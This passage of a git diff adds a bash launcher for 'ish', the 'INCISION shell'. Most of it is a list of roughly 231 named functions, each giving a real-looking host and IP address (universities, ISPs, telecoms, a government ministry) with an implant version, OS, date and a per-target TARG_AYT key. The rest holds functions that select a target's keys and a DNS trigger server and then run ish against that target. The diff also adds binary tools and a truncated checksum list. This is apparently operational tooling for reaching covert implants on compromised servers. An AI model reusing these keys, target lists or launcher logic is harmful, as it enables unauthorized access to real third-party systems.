54e6b165" +} + +PITCHIMPAIR_____mxtpa.biglobe.net.tw____________202.166.255.103() { +# PITCHIMPAIR___mxtpa.biglobe.net.tw___202.166.255.103___20060926-101014 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="222c40da 12db893a 45dc9286" +} + +PITCHIMPAIR_____myhome.elim.net_________________203.239.130.7() { +# PITCHIMPAIR___myhome.elim.net___203.239.130.7___20020313-133407 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="8ff62019 f4c6611f eb80eee7" +} + +PITCHIMPAIR_____newin.int.rtbf.be_______________212.35.107.2() { +# PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="6aae23fe 44ebf8a8 1f6f4927" +} + +PITCHIMPAIR_____niveau.math.uni-bremen.de_______134.102.124.201() { +# PITCHIMPAIR___niveau.math.uni-bremen.de ___134.102.124.201___20040503-185134 + ## INCISION Version:4.9 OS:i386-pc-solaris2.8 + export TARG_AYT="0cf16c0c d81d5581 2e59b6d7" +} + +PITCHIMPAIR_____nl37.yourname.nl________________82.192.68.37() { +# PITCHIMPAIR___nl37.yourname.nl___82.192.68.37___20071217-120020 + ## INCISION Version:4.11.6.10 OS:i686-pc-linux-gnu-2.2.16C37_III + export TARG_AYT="c59c2d88 76744dbb 2fb28b35" +} + +PITCHIMPAIR_____noc25.corp.home.ad.jp___________203.165.5.82() { +# PITCHIMPAIR___noc25.corp.home.ad.jp___203.165.5.82___20050628-132937 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="01f00c47 66e80bec a4a9376c" +} + +PITCHIMPAIR_____noc33.corp.home.ad.jp___________203.165.5.74() { +# PITCHIMPAIR___noc33.corp.home.ad.jp___203.165.5.74___20050628-121048 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="4e253f0e ae3a87c3 7ce6def7" +} + +PITCHIMPAIR_____noc35.corp.home.ad.jp___________203.165.5.114() { +# PITCHIMPAIR___noc35.corp.home.ad.jp___203.165.5.114___20050706-102150 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="50c9dc62 36b930cf 9d078c3c" +} + +PITCHIMPAIR_____noc37.corp.home.ad.jp___________203.165.5.117() { +# PITCHIMPAIR___noc37.corp.home.ad.jp___203.165.5.117___20060330-141728 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="49484ede ff2adb0b ba936f3e" +} + +PITCHIMPAIR_____noc38.corp.home.ad.jp___________203.165.5.118() { +# PITCHIMPAIR___noc38.corp.home.ad.jp___203.165.5.118___20070123-094326 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="88abf272 53a3c7dc 52095494" +} + +PITCHIMPAIR_____nodep.sun-ip.or.jp______________150.27.1.2() { +# PITCHIMPAIR___nodep.sun-ip.or.jp___150.27.1.2___20020417-152328 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a1f0b9e0 5884cf8d f495dbfd" +} + +PITCHIMPAIR_____noya.bupt.edu.cn________________202.112.96.2() { +# DIABLO___noya.bupt.edu.cn___202.112.96.2___20011022-125754 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="fa3c1cd4 406b103a 91b71a8e" +} + +PITCHIMPAIR_____ns.anseo.dankook.ac.kr__________203.237.216.2() { +# PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20040607-110059 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="24da6c35 09155fce 8f4ec920" +} + +PITCHIMPAIR_____ns.bigobe.net.tw________________202.166.255.98() { +# PITCHIMPAIR___ns.bigobe.net.tw___202.166.255.98___20041022-125517 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="2c11e1e3 35bc836c fec18b08" +} + +PITCHIMPAIR_____ns.bur.hiroshima-u.ac.jp________133.41.145.11() { +# PITCHIMPAIR___ns.bur.hiroshima-u.ac.jp___133.41.145.11___20020702-114853 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="6ea29b22 d350e5f0 932b74bb" +} + +PITCHIMPAIR_____ns.cec.uchile.cl________________200.9.97.3() { +# PITCHIMPAIR___ns.cec.uchile.cl___200.9.97.3___20041020-213753 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="8f7c55be 1dffc9a5 8a591689" +} + +PITCHIMPAIR_____ns.chining.com.tw_______________202.39.26.50() { +# PITCHIMPAIR___ns.chining.com.tw___202.39.26.50___20041022-114055 + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="bbef51da f5e991db 55275bfc" +} + +PITCHIMPAIR_____ns.eyes.co.kr___________________210.98.224.88() { +# PITCHIMPAIR___ns.eyes.co.kr___210.98.224.88___20041022-152559 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="f94f7aa3 246662f1 e87dcb37" +} + +PITCHIMPAIR_____ns.gabontelecom.com_____________217.77.71.52() { +# PITCHIMPAIR___ns.gabontelecom.com___217.77.71.52___20060822-134452 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="17d339d5 bcbf7447 d5f97fad" +} + +PITCHIMPAIR_____ns.global-one.dk________________194.234.33.5() { +# PITCHIMPAIR___ns.global-one.dk___194.234.33.5___20041102-170945 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="a77ed7ae ff8a1def a4a7f4c4" +} + +PITCHIMPAIR_____ns.hallym.ac.kr_________________210.115.225.11() { +# PITCHIMPAIR___ns.hallym.ac.kr___210.115.225.11___20030811-151127 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="be775dc5 0af32bc2 285af271" +} + +PITCHIMPAIR_____ns.hanseo.ac.kr_________________203.234.72.1() { +# PITCHIMPAIR___ns.hanseo.ac.kr___203.234.72.1___20031024-144830 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="059a4645 034aadff 4a7db3fb" +} + +PITCHIMPAIR_____ns.hufs.ac.kr___________________203.253.64.1() { +# PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20051026-084427 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="dc150ab0 3b143979 747f4610" +} + +PITCHIMPAIR_____ns.icu.ac.kr____________________210.107.128.31() { +# PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20051101-133018 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="4d4a64ab 74c90cbd 1be8f03e" +} + +PITCHIMPAIR_____ns.ing.unirc.it_________________192.167.50.2() { +# PITCHIMPAIR___ns.ing.unirc.it___192.167.50.2___20030417-130101 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="fa3c8afa 7b86200c 67246442" +} + +PITCHIMPAIR_____ns.khmc.or.kr___________________203.231.128.1() { +# PITCHIMPAIR___ns.khmc.or.kr___203.231.128.1___20020411-132145 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="36a5ef6d 52bf9844 870cbaa7" +} + +PITCHIMPAIR_____ns.kimm.re.kr___________________203.241.84.10() { +# PITCHIMPAIR___ns.kimm.re.kr___203.241.84.10___20040219-112228 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="1f9527ad 68b0d84c 03855ee3" +} + +PITCHIMPAIR_____ns.kix.ne.kr____________________202.30.94.10() { +# PITCHIMPAIR___ns.kix.ne.kr___202.30.94.10___20020509-131151 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="23cdbdbe 349cf705 43495160" +} + +PITCHIMPAIR_____ns.rtn.net.mx___________________204.153.24.1() { +# PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20050524-231351 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="90513cb5 a3bbe85d 54c070a2" +} + +PITCHIMPAIR_____ns.stacken.kth.se_______________130.237.234.17() { +# PITCHIMPAIR___ns.stacken.kth.se___130.237.234.17___20031106-172718 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="a86ee269 1fe0972b cfe3b1f7" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} + +PITCHIMPAIR_____ns.unam.mx______________________132.248.253.1() { +# PITCHIMPAIR___132.248.253.1.ns___unam.mx___20021202-144848 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="6e093bc3 2a88528f fa26521c" +} + +PITCHIMPAIR_____ns.univaq.it____________________192.150.195.20() { +# PITCHIMPAIR___ns.univaq.it___192.150.195.20___20030728-130223 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="cf5e8ab3 1ac35359 a181301a" +} + +PITCHIMPAIR_____ns.youngdong.ac.kr______________202.30.58.1() { +# PITCHIMPAIR___ns.youngdong.ac.kr___202.30.58.1___20040607-105509 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="67741d71 ce7681b8 56e94b9e" +} + +PITCHIMPAIR_____ns1.bangla.net__________________203.188.252.2() { +# PITCHIMPAIR___mx1.bangla.net___203.188.252.2___20040217-124552 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="fc3cf1f7 d0f80b8a a77505be" +} + +PITCHIMPAIR_____ns1.btc.bw______________________168.167.168.34() { +# PITCHIMPAIR___ns1.btc.bw___168.167.168.34___20041102-175138 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="0537ac08 e35c67a7 984865ec" +} + +PITCHIMPAIR_____ns1.bttc.ru_____________________80.82.162.118() { +# PITCHIMPAIR___ns1.bttc.ru___80.82.162.118___20050314-164736 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="c7c079e5 85eee306 294f02c7" +} + +PITCHIMPAIR_____ns1.gx.chinamobile.com__________211.138.252.30() { +# PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="a4946d67 4e35eee5 89b17f82" +} + +PITCHIMPAIR_____ns1.ias.ac.in___________________203.197.183.66() { +# PITCHIMPAIR___ns1.ias.ac.in___203.197.183.66___20060927-151626 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="af7f20bc 3d349a8f 1a132882" +} + +PITCHIMPAIR_____ns1.starnets.ro_________________193.226.61.68() { +# PITCHIMPAIR___ns1.starnets.ro___193.226.61.68___20041102-175718 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="204fe963 3c39bcd9 da18f868" +} + +PITCHIMPAIR_____ns1.sun-ip.or.jp________________150.27.1.8() { +# PITCHIMPAIR___ns1.sun-ip.or.jp___150.27.1.8___20050830-144704 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="065c1c74 dec7ce4f 6fffd6ac" +} + +PITCHIMPAIR_____ns1.youngdong.ac.kr_____________202.30.58.5() { +# PITCHIMPAIR___ns1.youngdong.ac.kr___202.30.58.5___19691231-190000 + ## INCISION Version:1.0.0.6 OS:hppa2.0w-hp-hpux11.00 + export TARG_AYT="NOT KEYED" +} + +PITCHIMPAIR_____ns2-backup.tpo.fi_______________193.185.60.40() { +# PITCHIMPAIR___ns2-backup.tpo.fi___193.185.60.40___20021010-101507 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a7e63e6e 1e0bbfbd 95fcc780" +} + +PITCHIMPAIR_____ns2.ans.co.kr___________________210.126.104.74() { +# PITCHIMPAIR___ns2.ans.co.kr___210.126.104.74___20040316-114321 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="d6d34b00 8ff41929 77f6bc18" +} + +PITCHIMPAIR_____ns2.chem.tohoku.ac.jp___________130.34.115.132() { +# PITCHIMPAIR___ns2.chem.tohoku.ac.jp___130.34.115.132___20031027-132012 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="b15ddeeb 7a3d3528 601fa067" +} + +PITCHIMPAIR_____ns2.otenet.gr___________________195.170.2.1() { +# PITCHIMPAIR___ns2.otenet.gr___195.170.2.1___20020513-135956 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="06016d21 6c0b9610 e153452a" +} + +PITCHIMPAIR_____nsce1.ji-net.com________________203.147.62.229() { +# PITCHIMPAIR___nsce1.ji-net.com___203.147.62.229___20080208-141051 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="84b8d198 d7058b04 787bab57" +} + +PITCHIMPAIR_____oiz.sarenet.es__________________192.148.167.17() { +# PITCHIMPAIR___oiz.sarenet.es___192.148.167.17___20011016-000000 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="12345678 9abcdef0 12345678" +} + +PITCHIMPAIR_____orhi.sarenet.es_________________192.148.167.5() { +# PITCHIMPAIR___orhi.sarenet.es___192.148.167.5___20010918-172343 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="38798730 58ad88da 4eee9d75" +} + +PITCHIMPAIR_____pastow.e-technik.uni-rostock.de_139.30.200.36() { +# PITCHIMPAIR___pastow.e-technik.uni-rostock.de___139.30.200.36___20040929-213949 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="d85e40b8 17b797a0 7175ffd0" +} + +PITCHIMPAIR_____pfdsun.kuicr.kyoto-u.ac.jp______133.3.5.2() { +# INTONATION___pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2___20020702-135908 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1b1509e 818ca176 fdc324dd" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=0 +} + +PITCHIMPAIR_____pitepalt.stacken.kth.se_________130.237.234.151() { +# PITCHIMPAIR___pitepalt.stacken.kth.se___130.237.234.151___20040929-184655 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="3fdbfa28 8814fd26 db99cc78" +} + +PITCHIMPAIR_____proxy1.tcn.ed.jp________________202.231.176.242() { +# PITCHIMPAIR___proxy1.tcn.ed.jp___202.231.176.242___20050815-150857 + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="17be0dd5 df71b5c4 febb1811" +} + +PITCHIMPAIR_____rabbit.uj.edu.pl________________149.156.89.33() { +# PITCHIMPAIR___rabbit.uj.edu.pl___149.156.89.33___20060404-163839 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="f28ab17d dd772038 eae33e1b" +} + +PITCHIMPAIR_____s03.informatik.uni-bremin.de____134.102.201.53() { +# PITCHIMPAIR___s03.informatik.uni-bremin.de___134.102.201.53___20040309-184913 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="a18bce43 389dca2a 765eb66d" +} + +PITCHIMPAIR_____saturn.mni.fh-giessen.de________212.201.7.21() { +# PITCHIMPAIR___saturn.mni.fh-giessen.de___212.201.7.21___20041202-223050 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="43f68770 91377c9f bd9f7feb" +} + +PITCHIMPAIR_____sci.s-t.au.ac.th________________168.120.9.1() { +# PITCHIMPAIR___sci.s-t.au.ac.th___168.120.9.1___20020501-104838 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="082fefdd 88678c58 39cf6a9c" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=840 +} + +PITCHIMPAIR_____scsun25.unige.ch________________129.194.49.47() { +# PITCHIMPAIR___scsun25.unige.ch___129.194.49.47___20040309-164903 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="a8c58620 9fe14156 050245a7" +} + +PITCHIMPAIR_____seoildsp.co.kr__________________218.36.28.250() { +# PITCHIMPAIR___seoildsp.co.kr___218.36.28.250___20040406-132009 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="5f70a916 3f4ab64a 6659ef8d" +} + +PITCHIMPAIR_____servidor2.upc.es________________147.83.2.3() { +# INTONATION___servidor2.upc.es___147.83.2.3___20020214-203036 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.7 + export TARG_AYT="3ee4ba5a 21cdbc29 56bf444e" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} + +PITCHIMPAIR_____smuc.smuc.ac.kr_________________203.237.176.1() { +# PITCHIMPAIR___smuc.smuc.ac.kr___203.237.176.1___20051026-101551 + ## INCISION Version:4.10.2.16 OS:sparc-sun-solaris2.9 + export TARG_AYT="5ae19c18 3712bbc3 6c3da38e" +} + +PITCHIMPAIR_____snacks.stacken.kth.se___________130.237.234.152() { +# PITCHIMPAIR___snacks.stacken.kth.se___130.237.234.152___20040929-194106 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="4abd95ea 9c717544 8fc65152" +} + +PITCHIMPAIR_____son-goki.sun-ip.or.jp___________150.27.1.11() { +# PITCHIMPAIR___son-goki.sun-ip.or.jp___150.27.1.11___20020503-112843 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="c7ec86d5 483191b8 968549a2" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=0 +} + +PITCHIMPAIR_____sparc20mc.ing.unirc.it__________192.167.50.12() { +# PITCHIMPAIR___sparc20mc.ing.unirc.it___192.167.50.12___20030728-162858 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="3cbe3269 72239859 87c08d89" +} + +PITCHIMPAIR_____spin.lzu.edu.cn_________________202.201.0.131() { +# PITCHIMPAIR___spin.lzu.edu.cn___202.201.0.131___20060329-121203 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="319e4fff d73ca482 505203d0" +} + +PITCHIMPAIR_____splash-atm.upc.es_______________147.83.2.116() { +# PITCHIMPAIR___splash-atm.upc.es___147.83.2.116___20020214-223010 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="5350ff15 689693ae ec1946b9" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} + +PITCHIMPAIR_____sun.bq.ub.es____________________161.116.154.1() { +# PITCHIMPAIR___sun.bq.ub.es___161.116.154.1___20020523-221041 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.7 + export TARG_AYT="29702c71 544520c6 add791b5" +} + +PITCHIMPAIR_____sunbath.rrze.uni-erlangen.de____131.188.3.200() { +# PITCHIMPAIR___sunbath.uni-erlangen.de___131.188.3.73___20050309-182517 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="e8c27050 b174b79a e9251c76" +} + +PITCHIMPAIR_____sunfirev250.cancilleria.gob.ni__165.98.181.5() { +# PITCHIMPAIR___sunfirev250.cancilleria.gob.ni___165.98.181.5___20070323-083334 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="fce700a8 1ce9df01 aa2e1457" +} + +PITCHIMPAIR_____tamarugo.cec.uchile.cl__________200.9.97.3() { +# PITCHIMPAIR___tamarugo.cec.uchile.cl___200.9.97.3___20061208-070727 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="9cd50ff4 e8be0042 b79a82e9" +} + +PITCHIMPAIR_____tayuman.info.com.ph_____________203.172.11.21() { +# PITCHIMPAIR___tayuman.info.com.ph___203.172.11.21___20031027-173055 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="930e7947 b53525b6 631e4330" +} + +PITCHIMPAIR_____theta.uoks.uj.edu.pl____________149.156.89.30() { +# PITCHIMPAIR___theta.uoks.uj.edu.pl___149.156.89.30___20050705-175454 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="013d06f7 fcceea49 2d2693ad" +} + +PITCHIMPAIR_____tologorri.grupocorreo.es________194.30.32.109() { +# PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="b29e4b51 88af0b1f 79067ede" +} + +PITCHIMPAIR_____tuapewa.polytechnic.edu.na______196.31.225.2() { +# PITCHIMPAIR___tuapewa.polytechnic.edu.na___196.31.225.2___20040929-200614 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="d37ee5bf a0fe463d 08e32c13" +} + +PITCHIMPAIR_____uji.kyoyo-u.ac.jp_______________133.3.5.33() { +# PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="2f2882df 9c1d23ac 078a7a09" +} + +PITCHIMPAIR_____ultra10.nanya.edu.tw____________203.68.40.6() { +# PITCHIMPAIR___ultra10.nanya.edu.tw___203.68.40.6___20041227-123134 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="df07f4a6 014490d7 43c80581" +} + +PITCHIMPAIR_____unknown.unknown_________________125.10.31.145() { +# PITCHIMPAIR___unknown.unknown___125.10.31.145___20060811-141834 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="5fee1cde b7151aba ad895e9c" +} + +PITCHIMPAIR_____v244.kyoyo-u.ac.jp______________133.3.5.33() { +# PITCHIMPAIR___v244.kyoyo-u.ac.jp___133.3.5.33___20070323-094310 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1d6e72df 4c5f1c9f c4370584" +} + +PITCHIMPAIR_____v246.kyoyo-u.ac.jp______________133.3.5.2() { +# PITCHIMPAIR___v246.kyoyo-u.ac.jp___133.3.5.2___20070323-104937 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="dfa4c164 0eb005f3 82a38dc8" +} + +PITCHIMPAIR_____war.rkts.com.tr_________________195.142.144.125() { +# GRAPEUNIQUE___war.rkts.com.tr___195.142.144.125___20011101-171614 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="70ef9240 4eb54947 fc951434" +} + +PITCHIMPAIR_____webmail.s-t.au.ac.th____________168.120.9.2() { +# PITCHIMPAIR___webmail.s-t.au.ac.th___168.120.9.2___20020507-121447 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="31755052 1ca39d1f 7b15448a" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=840 +} + +PITCHIMPAIR_____win.hallym.ac.kr________________210.115.225.17() { +# PITCHIMPAIR___win.hallym.ac.kr___210.115.225.17___20050308-131417 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="ad31401a 1f0e2874 fcf516a7" +} + +PITCHIMPAIR_____winner.hallym.ac.kr_____________210.115.225.10() { +# PITCHIMPAIR___winner.hallym.ac.kr___210.115.225.10___20050408-132327 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="4885787a 9605002b 61107b5f" +} + +PITCHIMPAIR_____winners.yonsei.ac.kr____________210.115.225.14() { +# PITCHIMPAIR___winners.yonsei.ac.kr___210.115.225.14___20041130-130403 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3de8747f 02deca99 6eb06696" +} + +PITCHIMPAIR_____www.bygden.nu___________________192.176.10.178() { +# PITCHIMPAIR___www.bygden.nu___192.176.10.178___20031105-171204 +# PITCHIMPAIR___www.bygden.nu___192.176.10.178___20031105-171204 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1d7bb39c 2e7b6bc4 b501921a" +} + +PITCHIMPAIR_____www.cfd.or.jp___________________210.198.16.75() { +# PITCHIMPAIR___www.cfd.or.jp___210.198.16.75___20041130-110333 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="5c0aa1e9 3b8b84da 5af135e1" +} + +PITCHIMPAIR_____www.pue.uia.mx__________________192.100.196.7() { +# PITCHIMPAIR___www.pue.uia.mx___192.100.196.7___20041202-214158 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="e0453c36 6d027b6d 82699277" +} + +PITCHIMPAIR_____zanburu.grupocorreo.es__________194.30.32.113() { +# PITCHIMPAIR___zanburu.grupocorreo.es___194.30.32.113___20040614-190127 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="277a7150 faa87f10 d64f01cc" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=120 +} + +TEST____________bob.bob.com_____________________1.2.3.4() { +# TEST___bob.bob.com___1.2.3.4___20070907-111703 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="3a098dbb 3ed7c38a 3be9659b" +} + +TEST____________test.test_______________________1.2.3.4() { +# TEST___test.test___1.2.3.4___20060721-155412 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="e3637fba a7d9dd40 95a01656" +} + +########## 231 INCISION keys included above ########## + + +## +## Utility functions +## + +setupkeys() { + local host=$1 + + case $host in + -h | -? ) usage ;; + * ) + if [ $keys ]; then + $keys + return + fi + + echo + echo -e "\t--- Select target keys ---" + echo + + PS3=$(echo -e "\nkeys? ") + select keyinitfct in $keylist; do + if [ $keyinitfct ]; then + $keyinitfct + break + else + echo "Select a listed number." + echo + fi + done + ;; + esac +} + +ckupgrade() { + if [ ${O_TARG_AYT:+1} ]; then + echo -n "Do you want to use the old keys? [n] " + read ans + if [ ${ans:-"n"} = "y" ]; then + export TARG_AYT_new=$TARG_AYT + export TARG_AYT=$O_TARG_AYT + fi + fi +} + +setupdns() { + if [ $rootdns ]; then + $rootdns + return + fi + + echo + echo -e "\t--- Select root DNS server for trigger ---" + echo + + PS3=$(echo -e "\nDNS? ") + select rootdns in $dnslist; do + if [ $rootdns ]; then + $rootdns + break + else + echo "Select a listed number." + echo + fi + done +} + +dooptions() { + getipaddr + local i_opt="-i $ip " + local o_opt=${UTC_OFFSET:+"-o $UTC_OFFSET "} + + n=1 + g_set=0 + while [ $# -gt 0 ]; do + case $1 in + -i | -c ) i_set=1 + L_ip=${2%:*} ;; # xmit trigger from this IP addr + -o ) o_set=1 ;; # make a time adj. in trigger + -l ) l_set=$n ;; # use local IP for trigger + -g ) g_set=1 ;; # WRT: Are we using a gateway ? + esac + + ## Build arg list without the "-l" option. + [ ${l_set:-0} -eq $n ] || no_l=$(echo "$no_l $1 ") + + n=$((n+1)) + shift + done + + [ ${i_set:+1} ] || tn_options=$(echo "$tn_options $i_opt ") + [ ${o_set:+1} ] || tn_options=$(echo "$tn_options $o_opt ") + [ ${l_set:+1} ] && [ $g_set -eq 0 ] && localip && cmdline=$no_l + [ ${l_set:+1} ] && [ $g_set -eq 1 ] && remoteip && cmdline=$no_l +} + +getipaddr() { + if [ ! "$NOppp" ] ; then + ifaddr ppp0 + [ -n "$ifip" ] && ip=$ifip && echo "using ppp0" && return + fi + + ifaddr eth0 + [ -n "$ifip" ] && ip=$ifip && echo "using eth0" && return + + ip=$(hostname -i) +} + +ifaddr() { + ifip=$(ifconfig $1 2> /dev/null | grep "inet addr:" | \ + cut -d: -f2 | cut -d' ' -f1 ) +} + +echoenv() { + echo + echo "- Environment variable setup..." + echo " DNS_NAME = $DNS_NAME" + echo " DNS_IP = $DNS_IP" + echo " DNS_SOA = $DNS_SOA" + echo " TARG_TEL = $TARG_TEL" + [ ${TARG_AYT_new:+1} ] && + echo " TARG_AYT = $TARG_AYT_new resetting to old keys..." + echo " TARG_AYT = $TARG_AYT" + [ ${O_TARG_AYT:+1} ] && echo " O_TARG_AYT = $O_TARG_AYT" + [ ${UTC_OFFSET:+1} ] && echo " UTC_OFFSET = $UTC_OFFSET" + echo +} + +usage() { + echo + echo " $0 is a bash shell script that sets up the" + echo " environment for \`ish', the INCISION shell." + echo " All command line args are passed along to \`ish'." + echo " Options to \`ish' are..." + echo + ish -h + exit +} + + +## +## Run the functions to setup the environment for INCISION's shell `ish'. +## + +eval targ=\${$#} # note: doesn't handle port arg at end of command line +setupkeys $targ +ckupgrade +setupdns +dooptions $cmdline + +echoenv +echo running: ish $tn_options $cmdline +echo + +eval ish $tn_options \$cmdline diff --git a/Linux/bin/tnmunger b/Linux/bin/tnmunger new file mode 100755 index 0000000..336497a Binary files /dev/null and b/Linux/bin/tnmunger differ diff --git a/Linux/bin/tnmunger.old b/Linux/bin/tnmunger.old new file mode 100755 index 0000000..97eaa5d Binary files /dev/null and b/Linux/bin/tnmunger.old differ diff --git a/Linux/bin/tools.sums.txt b/Linux/bin/tools.sums.txt new file mode 100644 index 0000000..a702e22 --- /dev/null +++ b/Linux/bin/tools.sums.txt @@ -0,0 +1,321 @@ +# FILE SIZE cksum sum solarissum + charm_fiesta.hp-uxb.11.00_v.1.1.0.7 65536 1285782147 46627 5073 + charm_penguin.sunos5.10_v.1.0.0.6 48504 3238788139 16251 32168 + charm_penguin.sunos5.8_v.2.0.0.1 140388 